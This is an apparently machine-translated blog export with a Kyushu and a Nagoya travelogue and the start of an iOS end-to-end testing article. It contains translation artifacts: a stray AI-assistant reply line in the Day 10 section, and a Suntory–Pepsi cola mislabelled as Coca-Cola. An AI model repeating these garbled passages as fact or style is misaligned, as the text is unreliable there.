2003, with food stalls all around, and a stage in the middle for performances.I bought a glass of sparkling wine and a grilled sausage to sit down and watch the performance. The sausage wasn’t as fragrant and delicious as in Taiwan.Halfway through eating, something fell from above, which was a bit scary, but it added to the atmosphere. Later, it got too hot, so after eating, I left and went to the Sakuramachi Shopping Center to browse the department store.Hanabatake Square seems to have events every weekend. You can check before coming. Next week is the Taiwan Festival!Sakuramachi Shopping CenterOn the top floor, there is a waving Kumamon, and on the second floor, there are also Kumamon merchandise for sale (I think it’s the most complete).There are also Kumamon performances here, so check the announcement for the schedule.You can go up the outside stairs all the way to the top floor to find the waving Kumamon. This building also serves as the Kumamoto Bus Center downstairs, where you can buy tickets on the second floor to go to other cities.There is a large garden on the rooftop, a pool for playing in the water, and children can go up to play.You can also take the escalator from inside to go up. From the third floor’s Josaien (this Josaien is completely empty), you can find the escalator mentioned online. Personally, I think the Sakuramachi Shopping Center is better and more enjoyable than the Tsuruya Department Store.The Sakuramachi Shopping Center is next to the Kumamoto Prefectural Products Hall. In addition to Kumamoto’s specialties, there are also some Kumamon-related products (e.g., Kumamon incense burner XD).I walked through the Up+Down Shotengai again on the way back.I bought clothes and miscellaneous items at Muji, and replenished my skincare products at Matsumoto Kiyoshi (for some reason, my Visa card doesn’t work at Matsumoto Kiyoshi, I had issues in Tokyo before, and this time in Kumamoto, I could only use Japanese yen in cash).When I arrived at the hotel in the evening, I had dinner at Lawson on the way and went to bed early to prepare for visiting Mount Aso tomorrow!Day 7 Mount Aso, Kusasenri, Aso Shrine, AMU PLAZA KUMAMOTO [_KKday Reference Itinerary: [One-person group, daily departure] Japan Kumamoto Day Tour Kumamoto Castle & Mount Aso Volcano Crater & Kusasenri (including Health Buffet All-you-can-eat) Departing from Fukuoka_](https://www.kkday.com/zh-tw/product/21811-kumamoto-tour-josaien-mount-aso-kumamoto-castle-hot-spring-japan?cid=19365&ud1=d78e0b15a08a){:target=”_blank”} I left early and walked to the bus stop to take the intercity bus to Aso Station; I met Kumamon while waiting for the bus.We will pass by Aso Airport (I will be there the day after tomorrow Orz).On the way, when entering the area of Mount Aso, the bus will introduce Mount Aso and play local mountain songs for you to imagine strolling on the grasslands of Mount Aso together.Upon arrival at Aso Station, there is a statue of Usopp from One Piece outside the station for taking photos (I forgot).You can buy a one-day pass for Mount Aso at the vending machine here (probably a few hundred yen cheaper) and get the timetable. The one-day pass is only valid for boarding and alighting at the three stations on the timetable. You need to draw a boarding ticket when boarding; it seems that it cannot be used at other stations.I will take the No. 8 route, the bus to go up the mountain at 10:45.Time to go up the mountain: about 40 minutes.Not too many people, almost time to board the bus after a short wait in line, everyone got on; however, for safety reasons on the mountain road, there are no standing seats; and if you are prone to motion sickness, you may need motion sickness medication.There is also a helicopter experience tour in Aso, where you can directly take a helicopter to see the volcano, those interested can check it out.Mount AsoKami-komezukaWhen you go up the mountain, you will pass through Kusasenri before reaching the mountain terminal. From the mountain terminal, take another bus for about 10 minutes to reach the summit of the mountain.Coincidentally, I met a colleague from TSMC next door who was also traveling alone (on a business trip XD). It was both our first time in Aso, so we decided to explore together.At the mountain terminal, we were too lazy to wait for the bus, so we chose to walk up the mountain (about 15-20 minutes).Walking to the mountain square, you will reach the fourth crater of Aso Nakadake.Having a travel companion makes taking photos much easier!The mountain top is cool and not hot at all, filled with the smell of sulfur. If you have any health conditions like in picture three, consider your physical condition.We didn’t make it all the way to the Aso Nakadake crater, just went up to take a look and then descended the mountain.Side StoryAfter chatting happily all the way down, we didn’t pay attention to the bus direction, and when it was about to leave, we hurried to get on, only to be taken back up again. So, we had to walk back down XDAt the mountain terminal, we made sure to take the No. 8 bus, the No. 8 bus, the No. 8 bus, heading to Aso Station downhill; get off at Kusasenri.KusasenriEnjoyed the famous Oka Gyudon, the place was crowded but had plenty of seating, and the food was served quickly, almost no waiting time.After eating, we strolled around Kusasenri (with a bit of Grand Canyon vibe), where there were horse riding activities.After eating, we took the same No. 8 bus back to Aso Station, retracing our steps downhill.Aso ShrineWhen we arrived at Aso Station, the JR train to Aso Shrine (Midori Station) was about to depart in three minutes. If we missed it, we would have to wait another hour. We ran to the station, only to find out that Aso is a small station without electronic payment, so we had to buy tickets from the vending machine in a rush before boarding.Aso Station has only one platform, so you can board without much hassle. Later, we found out that if you really don’t have time to buy a ticket, you can board first and then purchase one when you get off.After getting off at Midori Station, it took about 20 minutes of walking to reach Aso Shrine (straight ahead, but a bit far).On the way, we encountered the wild Kumamon bear.The shrine is not very big, and we finished paying our respects quickly; part of the shrine was also under maintenance.After leaving, there was a small shopping street nearby where you could buy some snacks and take a short break. Thanks to my colleague for treating me to fried beef and potato cakes.Feel free to ask if you have any questions.After finishing the visit, we started to walk back slowly. We originally planned to take the 15:47 JR train back to Kumamoto, but when we walked back to Miyagi Station, we found out that it was a reserved seat-only train, with no available unreserved seats and all seats were sold out, so we couldn’t board.Attached is the timetable, or please check the schedule first; otherwise, you might end up like us, having to wait for an hour for the next 16:35 local JR train back to Kumamoto.Since there was still plenty of time, we walked back and strolled around Matsumoto on the way. (It’s actually quite far, about 10 minutes).Finally, we took a last look at the peaceful Aso.The local train slowly made its way back to Kumamoto, taking about 1 hour and 45 minutes to arrive.There is a section of the route that zigzags and involves reversing, so don’t worry, you’re on the right train!AMU PLAZA KUMAMOTO at Kumamoto StationBack at Kumamoto Station, we bid farewell to my brother, hoping to meet again someday.We explored the newly opened AMU PLAZA KUMAMOTO department store at Kumamoto Station (larger and more diverse than the Sakuramachi Shopping Center) and the nearby Higo Market (selling food).We also found many Kumamon mascots XD.We had a casual dinner at the food street, tried the Miyazaki chicken (ordinary), toured the entire building, bought some late-night snacks, and Kumamoto-produced strawberry wine (tasted good, planning to bring back to Taiwan) before returning to the hotel.There was a unique store called “BIWAN Beauty Bay” selling Taiwanese products (even saw some “Gua Gua” snacks XD), and upon checking, it’s opened by Taiwan’s Ayuan Soap.While researching, I found a cool website - https://kumataiwanlife.com/ - which provides the latest news, events, and fun facts about Kumamoto in Chinese (e.g., Kumamoto’s “OK Band-Aid” is called “LIBATAPE”).Today, I discovered that the vending machines at the hotel actually sell canned cola, which I couldn’t find in the major convenience stores. It’s a collaboration between Suntory and Pepsi, not available in Taiwan. It’s made like draft beer but for cola, very fizzy, not too syrupy, unlike regular cola that I usually can’t finish due to being too sweet, but I could finish this draft cola!After a satisfying meal, we went to bed early, preparing to welcome the last day in Kumamoto (excluding the day of the return flight).Day 9 Kumamoto Wanderings and ShoppingThe third day in Kumamoto was quite boring as we had already visited all the attractions. We tried to find some places to explore and buy souvenirs and cosmetics.I originally planned to go to Shimabara City, but the journey was too far (2 hours and 45 minutes one way), and my JR Pass had expired. I would have to spend more money on a long-distance bus ticket, so I gave up. Oita and Yufuin were also too far, so I gave up. I was too lazy to go to Minami Aso Village, so I left it for next time. Therefore, I wandered around the city and did some shopping, taking it slow.Kumamoto Inari ShrineEarly in the morning, I went to the Teramachi Street and visited the Kumamoto Inari Shrine that I didn’t get to visit on the first day.Katō ShrineI walked further back to the Katō Shrine (it’s quite far, about a 20-minute walk with a hilly road).Turning up the hill, you will reach the Katō Shrine. From there, you can also see the area under repair that I saw from the castle tower on the first day, with many scattered walls waiting to be restored one by one.It’s small, and half of it is still under repair.There was a small Kumamoto earthquake donation box. I didn’t offer prayers at the Katō Shrine; instead, I donated to the box.From here, you can see Kumamoto Castle from the back.After returning, I went to the Kumamoto City Hall (the 14th floor has a free observation deck). The walk from the Katō Shrine to the city hall is quite far, so you can take a bus. I originally planned to visit the Kumamoto Art Museum, Craft Museum, etc., but they were all closed on Mondays!Kumamoto City HallFrom the 14th floor of the Kumamoto City Hall, you can overlook the entire city, including Kumamoto Castle.Coming out of the city hall, walk towards the Sakuramachi Shopping Center. You will pass by a pedestrian bridge, which is a great spot for photos, capturing the Kumamoto street and subway.This intersection is Kumamoto Ginza Street, where there are also free information centers.Sakuramachi Shopping CenterI went back to the Sakuramachi Shopping Center for shopping, had another meal of Miyazaki beef with Kumamoto beer, and bought a Kumamon daifuku as a souvenir to bring back to Taiwan (so cute).Don QuijoteI walked back from Shimo-tori to Kami-tori to return to Teramachi Street, stopping by Don Quijote for shopping (the duty-free counter is on the second floor for payment).After shopping, I decided to head back to the hotel to rest and drop off my things.Side NoteOn the tram, I met some cute elderly people from Kumamoto. Pointing to the transparent bag of duty-free instant noodles, they said, “Sukoshi ikkai,” and I replied, “Good! Good!” Then, I showed them the Kumamon daifuku I had just bought and said, “Kawaii ne~” They gave a thumbs up and said, “Kawaii, arigato.” I then said, “I am Taiwanese,” and the elderly lady seemed to greet me in Japanese (my Japanese is too poor to understand, I only caught something about genki). I responded politely, and when I got off, I bid them goodbye.Upon returning to the hotel and opening the curtains for the first time, there was the Mizukami Temple basin behind; the scenery was actually quite nice, and you could hear insects at night.After resting for a while in the afternoon with nowhere else to go, I randomly visited some spots on the map.Luffy StatueWalked to the front of the Kumamoto Prefectural Government first to find the Luffy statue.Kengun ShrineTook a bus and walked to Kengun Shrine; a small shrine, almost no one there as it was close to closing time.There was no direct bus here, had to walk a short distance (about 15 minutes); after leaving the shrine, continued walking towards “Kumamoto Zoo” (about 20-30 minutes) to find the Chopper statue.Chopper StatueSaw a Sergeant Frog manhole cover on the way (seems to be from a previous event).Found the Chopper statue at the entrance of the zoo. Checked beforehand that Kumamoto Zoo seemed quite boring, so didn’t specifically plan to go in; it was already closed in the evening.Side StoryMet a Taiwanese family at the zoo entrance who wanted to take photos, so I helped them; the next day at the airport, I met them again and took another photo with them and the airplane. The younger brother called me the “photo-taking brother” XD.Continued walking on the map to the Mizukami Temple basin’s Egawa Lake Park, took a look on the way; discovered it was just a riverside park for locals to exercise, so took a bus directly back to the hotel (or the bus terminal).Ashiyan RamenHad dinner at an izakaya near Shin-Mizukami Station.Dined with former colleagues (from a tech company, later worked at Books.com and appeared on the cover of Line News, a.k.a. Books.com Goddess Irene Yu).It was so touching to have dinner with familiar people in a different place, especially since I had been quite withdrawn for several days (not understanding Japanese, hardly speaking), and in the end, I even received a Beppu souvenir 😭.Ate too quickly, only remembered the chicken wings were delicious, also tried the horse meat skewers (Kumamoto horse sashimi is famous, but I was too scared to try); the landlady was very friendly, but the menu was all in Japanese, and the font was hard to decipher with translation software, so I could only guess XD.After dinner, walked back to the hotel (about 15 minutes), then strolled through the streets of Kumamoto, bought ice cream and sweet sake at Lawson and FamilyMart (thought it was sake, but turns out sweet sake is a nourishing summer treat).Also bought breakfast for the next morning (melon bread + juice) and this fruit juice with pulp from FamilyMart (melon, strawberry…) was really delicious, I almost always bought it when I saw it, the pulp inside was sweet and tasty.Day 10 Return JourneyI have translated the content into English as per your instructions. Let me know if you need any further assistance.Upon disembarking the plane, I noticed the person in front of me was wearing a helmet. Are they riding a motorcycle to take a flight? 🤣Arrived at Taoyuan Airport, heading home!When picking up luggage, there was a slight delay possibly due to early check-in; had to wait a bit before it arrived. Also tested the Airtag locating feature, it made a sound when the luggage was close!Back in Taiwan, saw Kumamon on the road again XD (seems to be a new card promotion for E.SUN Bank).Additional Notes on Riding Buses and Trams in Japan Ticket with number = There is a small machine at the door where you can draw a ticket (similar to drawing a number tag) when boarding. Some routes have a fixed fare and may not require a ticket with a number. If using electronic payment (Suica), you don’t need to draw a ticket, but be careful not to have a negative balance (different from Taiwan). Buses and trams do not give change, but you can exchange money at the coin machine on board (located where you pay the driver). Mostly board from the back and alight from the front. Japanese buses wait for passengers to sit down before departing and wait for passengers to alight before moving; so it’s fine to stand up when reaching your stop, no need to push forward before arriving (different from Taiwan). When alighting, check the number on your ticket and pay the corresponding fare:Bus Riding Rules in Japan: Don’t Worry About Taking the Bus! Complete GuideThat concludes the entire record of my 10-day solo trip to Kyushu, with summaries/Retro written earlier. Thank you for reading.KKday Promotion [Japan JR PASS Kyushu Area Rail Pass Northern Kyushu & Southern Kyushu & All Kyushu E-Ticket](https://www.kkday.com/zh-tw/product/3494-jr-kyushu-rail-pass?cid=19365&ud1=d78e0b15a08a){:target=”_blank”} [Nagasaki, Japan Huis Ten Bosch Ticket](https://www.kkday.com/zh-tw/product/3988-japan-nagasaki-huis-ten-bosch-ticket?cid=19365&ud1=d78e0b15a08a){:target=”_blank”} [Nagasaki Day Tour Glover Garden, Oura Tenshudo & Nagasaki Atomic Bomb Museum, Peace Park & Inasayama Night View (One of the World’s Top Three Night Views/Includes Round-Trip Cable Car) Optional Huis Ten Bosch Fireworks Plan Departing from Fukuoka/Chinese Group](https://www.kkday.com/zh-tw/product/152195-nagasaki-tour-saga-yutoku-inari-shrine-fukuoka-japan?cid=19365&ud1=d78e0b15a08a){:target=”_blank”} One-stop shopping for Kyushu attractions, tickets, and experiences: “One-day Kumamoto, one-day Takachiho, one-day Aso/Kusasenri, one-day Miyazaki itinerary, Fukuoka teamLab, Fukuoka Tower, Yanagawa Dazaifu boat ticket package, Taipei-Fukuoka flight, flight plus hotel”[2024 Update] Second Visit to Kyushu June 2024 Second Visit to Kyushu (9 Days + 2 Days in Korea)From Busan, Korea, boarding the Shinshin Tea Flower Cruise to enter Hakata, Japan, exploring Yufuin, Oita, Fukuoka, Shimonoseki, Itojima, SaseboMore Travelogues [Travelogue] 2024 Second Visit to Kyushu, 9 Days Free and Easy, via Busan -> Hakata Cruise Entry [Travelogue] 2023 Hiroshima Okayama 6 Days Free and Easy [Travelogue] 9/11 One-day Flash Visit to Nagoya [Travelogue] 2023 Tokyo 5 Days Free and Easy [Travelogue] 2023 Kansai 8 Days Free and EasyFeel free to contact me for any questions or feedback.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Travelogue 9/11 Nagoya One-Day Flash Free Travel", "url": "/posts/7b8a0563c157/", "categories": "Z, Travelogue", "tags": "Life, japan, nagoya, traveling, peach", "date": "2023-09-29 00:39:58 +0800", "snippet": "[Travelogue] 9/11 Nagoya One-Day Flash Free TravelPeach Aviation Nagoya One-Day Flash Ticket Travel ExperienceBackgroundA round-trip ticket for a day trip to Nagoya is an activity launched by Peach...", "content": "[Travelogue] 9/11 Nagoya One-Day Flash Free TravelPeach Aviation Nagoya One-Day Flash Ticket Travel ExperienceBackgroundA round-trip ticket for a day trip to Nagoya is an activity launched by Peach Aviation:I bought a round-trip ticket to Nagoya with airport service fee included for $5,600 at that time, no checked baggage, no meals, no assigned seats; both flights were red-eye flights: Outbound: TPE 02:25 -> NGO 06:30 Return: NGO 23:15 -> TPE 01:25According to official promotional materials, the longest stay is 16 hours and 45 minutes!Carry-on baggage regulations: Two pieces per person & total weight less than 7 kilogramsCarry-on baggage regulationsDate: 2023/09/11, Solo tripVisit JapanTo speed up entry, I filled out the entry information in advance and completed the entry procedures directly using a QR code: I filled in a 1-day stay here, and for the contact information in Japan, I directly filled in the information for Chubu Centrair International Airport, without being asked, and passed through safely!Chubu Centrair International Airport InformationKKday Promotion Nagoya area transportation tickets, one-stop purchase for experiences: “Nagoya Chubu International Airport NGO ⇆ Nagoya Station|Meitetsu Airport Express Train E-Ticket, LegoLand, Japan sim/eSim card, Ghibli Park”Conclusion (written at the beginning)A one-day flash is a test of physical and mental endurance; I originally planned to wait at the airport or sleep on the plane, but I wasn’t sleepy because the waiting time at the airport was too early. After boarding the plane, the seat was too small, not by the window, the engine noise was very loud, and I didn’t really fall asleep, so it was like not sleeping all night; I started the Nagoya itinerary at 6:00 after getting off the plane; I was so tired that I slept for over half an hour in a quiet cafe at Nagoya Tower at noon (quiet, not many people).Time and attractions are limited, so I couldn’t go too far.In addition to the body’s energy, the phone’s battery is also a big test; I brought a 20,000 mAh Xiaomi power bank to complete the entire itinerary (probably charged the iPhone 13 back and forth 4–5 times).I returned to Taiwan around 2–3 am, with no public transportation, so I had to take a taxi back to Taipei.You can pay a few hundred more to choose a window seat, prepare a neck pillow, and earplugs for better sleep.Departure9/10 PM 22:03 — Arrive at Taoyuan Airport MRT A1 Taipei Main Station, take the 22:15 direct train to Terminal 19/10 PM 10:55 — Arrive at Terminal 1 Departure HallArrived too early, the check-in counter opened at 23:55 (although I didn’t have checked baggage, I couldn’t check in online for some reason, so I had to wait for the counter to open).Still an hour before check-in opened, so I went back to the B1 food street to find a place to rest; all the shops in the food street were closed at 11 PM (including convenience stores), couldn’t find anything to eat.9/11 AM 00:09 — Completed departureThe check-in counter opened early, I returned to the departure hall at 11:40 and saw that check-in had started; without checked baggage, just carrying a backpack, quickly completed check-in & security check & departure.Starting from 9/11, officially counting down 24 hours!9/11 AM 00:12 — Wandering in Terminal 1It’s worth mentioning that there is a free lounge in Terminal 1, just follow the signs to the VIP lounge; the environment and seats are similar to a cafe, there is even a shower room (open from 6 AM to 10 PM); for more details, refer to this article.It’s actually better to sleep in the lounge area because you can lie down… But at that time, I just took a quick look and started looking for a place to buy food at the airport (because there was no in-flight meal), but it was late and everything was closed, I only found a vending machine selling cookies, so I bought a pack of Yimei cream puffs and a can of tea.9/11 AM 00:45 — Waiting at the boarding gateArrived really early, not many people in the boarding gate area; the chairs are in pairs, making it difficult to lie down and sleep (very uncomfortable, I got up after taking the photo), sleeping with your head up is also uncomfortable, and the boarding gate area is very cold; but at that time, I was still feeling okay, not sleepy, as time passed, more people arrived, it got noisier, making it even harder to sleep; so I just closed my eyes to rest and conserve energy, reviewed some basic Japanese (hiragana), planning to sleep on the plane later.9/11 AM 02:14 — Completed boardingThe flight was slightly delayed, boarding was supposed to start at 01:55, delayed by 10 minutes; I completed boarding at 02:15.9/11 AM 02:26 — Flight takeoffThe seat was very small, no headrest by the aisle, luckily I had a neck pillow for some support, but the noise of the engines and neck discomfort made it almost impossible to sleep, so I endured the bumpy ride all the way to Nagoya; there was no screen displaying the flight distance on the plane, making the time feel very long. If I had to choose again, I would pay a little extra for a window seat; one, there’s a better place to rest your head, and two, you can see the sunrise from the window when arriving in Japan in the morning!!9/11 AM 06:20 — Arrived at Chubu Centrair International Airport, Nagoya9/11 AM 06:35 — Completed immigrationPerhaps due to the early morning and no need to pick up luggage, it took less than 15 minutes from landing to immigration; but the weather wasn’t great, it was raining heavily in Nagoya.9/11 AM 7:03 — Waiting for the shuttle to Nagoya cityOne image shows seating information and the other shows entry/exit ticket (for the machine). [_KKday Chubu Centrair International Airport NGO ⇆ Nagoya Station Meitetsu Airport Express Train e-Ticket_](https://www.kkday.com/zh-tw/product/20418-chubu-centrair-international-airport-express-train-transfer-to-nagoya?cid=19365&ud1=9da2c51fa4f2){:target=”_blank”} I first bought a one-way train ticket from Chubu Centrair International Airport to Nagoya + uSky train ($271) online, thinking since I’m here, might as well experience the newest and best train; assigned seats, very stable and comfortable, and it’s an express train.However, if you want to save money and convenience, you can actually buy tickets on-site or take a regular train directly to the station; attach the train schedule and stops, or directly search from Meitetsu website:1st Destination: Konparu Osu コンパル Main Store - Try the Fried Shrimp ToastYou need to get off at Kanayama (NH34) and transfer to “Meijo Line” to go to Kamiiida Station.Arrive at Konparu Osu コンパル Main Store at 8:00 AM on 9/11The store opens at 8:00, but there were no people around early in the morning, and the nearby Osu shopping street was not open yet.Coffee is a must, especially after staying up all night; the shrimp in the fried shrimp toast is cut into pieces, giving a chewy texture.2nd Destination: Nagoya CastleNagoya Castle opens at 9:00, other attractions don’t open that early, and it’s on the way from Kamiiida Station, so I decided to visit Nagoya Castle first.Arrive at Nagoya Castle at 9:02 AM on 9/11After having breakfast, I arrived at Nagoya Castle Station around 9:02.Upon exiting the station, I found it was raining heavily outside, and I didn’t expect rain in Japan, so I didn’t bring an umbrella; there were no convenience stores nearby, but I finally found a FamilyMart in the underground street at Nagoya Castle Station B1, bought an umbrella, and continued to Nagoya Castle.As I entered Nagoya Castle, the rain eased a bit, but the main keep was under maintenance and not open to visitors, so I only visited the splendid Honmaru Palace next to it.To enter the Honmaru Palace, you need to take off your shoes and store your bag (free, but you need a ¥100 coin).2nd Destination: Chubu Electric Power MIRAI TOWER (formerly Nagoya TV Tower)Located at the lower right corner of Nagoya Castle, about 2 stops away; I took a bus after leaving Nagoya Castle.Arrive at Chubu Electric Power MIRAI TOWER (formerly Nagoya TV Tower) at 10:08 AM on 9/11The weather was cloudy with occasional sunshine when I arrived, then it cleared up, and it became cloudy again when I left.After buying a ticket, you can go up to the observation deck to overlook Nagoya City (if you only want to visit the middle-level café, no ticket is needed, and you can still enjoy some views).Café view, feeling sleepy around 10:30; slept here until after 11, lots of seats, few people, quiet… perfect for a nap.3rd destination: Oasis 21Oasis 21 is just outside Nagoya Tower, but not much to see due to rain + weekday + morning, so just took a quick look around and left.4th destination: Yabaton Yabacho Main StoreApproaching noon, wanted to try Nagoya’s famous miso pork cutlet, the store is about one or two stops away from Nagoya Tower, decided to walk there.5th destination: Osukannon Shopping StreetArrived to find a long line due to the crowd… time was precious, since near Osu Shopping Street, continued walking there to find food.9/11 PM 12:09 — Arrived at Osukannon Shopping StreetWalking towards Osu Kannon, just before Osu Kannon there is another branch of Shichijo, went in for a meal.Mindlessly ordered a set meal, realized I ordered wrong, mainly wanted to eat the miso pork cutlet in the top left corner, set meal includes miso pork cutlet + fried willow leaf fish + tsukemono + side dish + soup + rice; miso pork cutlet was delicious but not enough!6th destination: Osu KannonThis store is right next to Osu Kannon.9/11 PM 13:05— Arrived at Osu KannonMain hall under maintenance, just walked around outside and left.Beware of birds, many pigeons outside, can buy feed to feed the pigeons.7th destination: Atsuta ShrineWalked through Osu Shopping Street again, headed back to Meijo Line, towards Atsuta Shrine.Bought a Benten fruit daifuku to eat on the way, thin and tender skin, plenty of fresh fruit juice, bought two at once! (I think it’s tastier than Rokkakudo XD)Went to a drugstore in the shopping street and bought some medicines that can be taken on the plane to bring back to Taiwan.9/11 PM 13:35 — Arrived at Atsuta ShrineExiting Atsuta Shrine Station on the Meijo Line, still a bit of a walk to reach the main gate of Atsuta Shrine for worship.After a simple worship, bought some amulets and left.8th destination: Meitetsu Nagoya Shopping StreetThe last point is to visit Meitetsu (actually very tired when arriving here).9/11 PM 14:40 — Arrive at Meitetsu NagoyaAfter a stroll in the underground street, head towards JR GATE TOWER, go up to the Starbucks on the 15th floor where you can enjoy a free view.Because the outdoor seats were not open due to rain, and the indoor seats were full, I didn’t buy a cup of coffee to sit and rest while enjoying the view; took some photos and then started heading downstairs to Takashimaya Department Store, where there is a Harbs but requires queuing.Across the street, there is a Sky Promenade in Nagoya, a new observation deck, but I didn’t go because I was tired, needed to buy another ticket, and the weather was not good; by the time I checked if I could still go and the points of interest I was interested in were gone; in the end, I just continued strolling down to the underground street to buy some souvenirs (Frog Hometown); bought a one-way ticket from Nagoya Railway to Chubu Centrair International Airport + uSky train ($271) and returned to the airport.It was a bit of a shame that it wasn’t even 5:00 PM yet… but going to other attractions again would be too far… and I wanted to avoid the crowd during rush hour.9th destination: Wander around Chubu Centrair International Airport in NagoyaTook a photo of the real uSky.9/11 PM 16:44 — Arrive at Chubu Centrair International Airport Terminal 1The flight is not until 23:15, still a long time to go.First, try the famous Tebasaki in Nagoya.There are many things to see at NGO Airport, besides food and drinks inside, there is also a large observation deck where you can see planes take off and land up close! (Terminal 1)Or go to Terminal 2 first to see the free aircraft museum (it was closed when I went).There is also a Lawson and a capsule toy store here (but they also have operating hours).9/11 PM 19:30 — Dinner at Chubu Centrair International Airport Terminal 1Had dinner at the airport’s Nagoya Udon, Nagoya’s specialty noodles are flat.The taste was good, but accidentally ordered two main dishes… their tonkatsu was tonkatsu rice XDAfter eating, continue waiting for the flight… waiting for the counter to open (opens at 20:45).9/11 PM 20:45 — Departure procedures at Chubu Centrair International Airport Terminal 1Glanced at the clock in the corner and went to queue for departure preparation around 20:00; the carry-on baggage check by the airline is quite strict, the rule is two pieces weighing less than 7 kilograms each, no turning a blind eye; saw someone simply going to buy a PS5 and come back, seemed like a good choice for a one-day flash target.9/11 PM 21:45 — Duty-free shopping and waiting at Chubu Centrair International Airport Terminal 1I only have one bag, so I can carry another one. I happened to buy a bottle of Tanjirou 750 ml back to Taiwan. (5,700 yen, 100 yen more expensive than Tokyo)Coca-Cola is delicious. If you see it in a supermarket or vending machine, you can buy it and try it out. It is a collaboration between Suntory and Pepsi, not available in Taiwan. It is made like draft beer but as a cola, very fizzy, not too syrupy. I usually end up pouring out regular cola because it’s too sweet, but I can finish a Coca-Cola Life! Back at the United Airlines carry-on baggage check, they strictly check if you only have two items. If not, they will ask you to either make it two items on the spot or pay extra.9/12 AM 00:09 — Departure from Central International Airport Terminal 1Due to flight delay, originally scheduled for 23:15, delayed to 23:50; took off around 00:15.But luckily got a window seat, can have a good sleep.Studied the onboard facilities after waking up, only then did I realize that flight information, entertainment videos can be viewed by connecting to onboard WiFi with a phone, and ordering can also be done directly with a phone.Someone ordered something similar to spare ribs chicken noodles to eat, the whole cabin was filled with a delicious smell, very tempting.9/12 AM 02:25 — Arrived at Taoyuan International AirportFortunately, got some rest on the plane due to the window seat; feeling okay.9/12 AM 03:30 Arrived at the warm Taipei residenceHave to say that transportation in Taiwan is very inconvenient. Taking a red-eye flight to Taoyuan Airport, can only take a scary flat-rate taxi or expensive Uber back to Taipei; if you want to take public transportation, you can only wait for the 4-5 am shuttle.Purpose of this trip: To visit Nagoya Castle, one of the three famous cities:Later found out that there is also Inuyama Castle in Nagoya, if rearranged, should go to Inuyama Castle first, and didn’t get to eat eel rice!KKday Promotion Nagoya area transportation tickets, one-stop shopping for experiences: “Japan Central International Airport NGO ⇆ Nagoya Station|Meitetsu Airport Express Train Electronic Ticket, Lego Park, Japan sim/eSim Card, Ghibli Park in Gifu”More Travelogues [Travelogue] 2024 Second Visit to Kyushu 9-Day Free and Easy Trip, via Busan→Hakata Cruise Entry [Travelogue] 2023 Hiroshima Okayama 6-Day Free and Easy Trip [Travelogue] 2023 Kyushu 10-Day Solo Free and Easy Trip [Travelogue] 2023 Tokyo 5-Day Free and Easy Trip [Travelogue] 2023 Kansai 8-Day Free and Easy TripIf you have any questions or suggestions, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "POC App End-to-End Testing Local Snapshot API Mock Server", "url": "/posts/5a5c4b25a83d/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, end-to-end-testing, ui-testing, automation-testing, ios", "date": "2023-08-28 22:53:27 +0800", "snippet": "[POC] App End-to-End Testing Local Snapshot API Mock ServerVerification of the feasibility of implementing E2E Testing for existing apps and existing API architecturePhoto by freestocksIntroduction...", "content": "[POC] App End-to-End Testing Local Snapshot API Mock ServerVerification of the feasibility of implementing E2E Testing for existing apps and existing API architecturePhoto by freestocksIntroductionAs a project that has been operating online for many years, continuously improving stability is a highly challenging issue.Unit TestingDue to the static + compiled + strongly typed nature of the development languages Swift/Kotlin or the dynamic to static transition from Objective-C to Swift, it is almost impossible to add Unit Testing later if testability was not considered during development to cleanly separate interface dependencies. However, the refactoring process can also introduce instability, leading to a chicken-and-egg problem.UI TestingTesting UI interactions and buttons; it can be implemented by slightly decoupling data dependencies in new or existing screens.SnapShot TestingVerifying whether the UI display content and style are consistent before and after adjustments; similar to UI Testing, it can be implemented by slightly decoupling data dependencies in new or existing screens.It is very useful for transitioning from Storyboard/XIB to Code Layout or UIView from OC to Swift; you can directly import pointfreeco / swift-snapshot-testing for quick implementation.Although we can add UI Testing and SnapShot Testing later, the coverage of these tests is very limited; most errors are not UI style issues but process or logic problems that interrupt user operations. If this occurs during the checkout process, involving revenue, the issue becomes very serious.End-to-End TestingAs mentioned earlier, it is not feasible to easily add unit tests to the current project or to integrate units for integration testing. For logic and process protection, the remaining method is to perform End-to-End black-box testing from the outside, directly from the user’s perspective, to check whether important processes (registration/checkout, etc.) are functioning normally. For major function refactoring, you can also establish process tests before refactoring and re-verify after refactoring to ensure that the functionality works as expected. Refactoring along with adding Unit Testing and Integration Testing to increase stability, breaking the chicken-and-egg problem.QA TeamThe most direct and brute-force way of End-to-End Testing is to have a QA Team manually test according to the Test Plan, and then continuously optimize or introduce automated operations. Calculating the cost, it would require at least 2 engineers + 1 Leader spending at least half a year to a year to see results.Evaluating the time and cost, is there anything we can do in the current situation or prepare for the future QA Team so that when there is a QA Team, we can directly jump to optimization and automation operations, or even introduce AI?AutomationAt this stage, the goal is to introduce automated End-to-End Testing, placed in the CI/CD process for automatic checks. The test content does not need to be too comprehensive; as long as it can prevent major process issues, it is already very valuable. Later, we can gradually iterate the Test Plan to cover more areas.End-to-End Testing — Technical ChallengesUI Operation IssuesThe principle of the App is more like using another test App to operate our tested App, and then finding the target object from the View Hierarchy. During testing, we cannot obtain the Log or Output of the tested App because they are essentially two different Apps.iOS needs to improve the View Accessibility Identifier to increase efficiency and accuracy and handle Alerts (e.g., push notification requests).In previous implementations on Android, there was an issue where the target object could not be found when mixing Compose and Fragment, but according to a teammate, the new version of Compose has resolved this.Besides the common traditional issues mentioned above, a bigger problem is the difficulty of integrating dual platforms (writing one test to run on two platforms). Currently, we are trying to use a new testing tool mobile-dev-inc / maestro:You can write a Test Plan in YAML and then execute tests on dual platforms. For detailed usage and trial experiences, stay tuned for another teammate’s article sharing cc’ed Alejandra Ts. 😝.API Data IssuesThe biggest testing variable for App E2E Testing is API data. If we cannot provide guaranteed data, it will increase the instability of the tests, leading to false positives, and eventually, everyone will lose confidence in the Test Plan.For example, in testing the checkout process, if the product might be taken off the shelf or disappear, and these status changes are not controllable by the App, the above situation is very likely to occur.There are many ways to solve data issues, such as establishing a clean Staging or Testing environment, or an Auto-Gen Mock API Server based on Open API. However, these all rely on the backend and external factors of the API. Additionally, the backend API, like the App, is an online project that has been running for many years, and some specifications are still being restructured and migrated, making it temporarily impossible to have a Mock Server.Given these factors, if we get stuck here, the problem will remain unchanged, and the chicken-and-egg problem cannot be broken. We really can only “take the risk” and make changes first, dealing with issues as they arise.Snapshot API Local Mock Server “As long as the mindset doesn’t slip, there are more solutions than difficulties.”We can think differently. If the UI can be 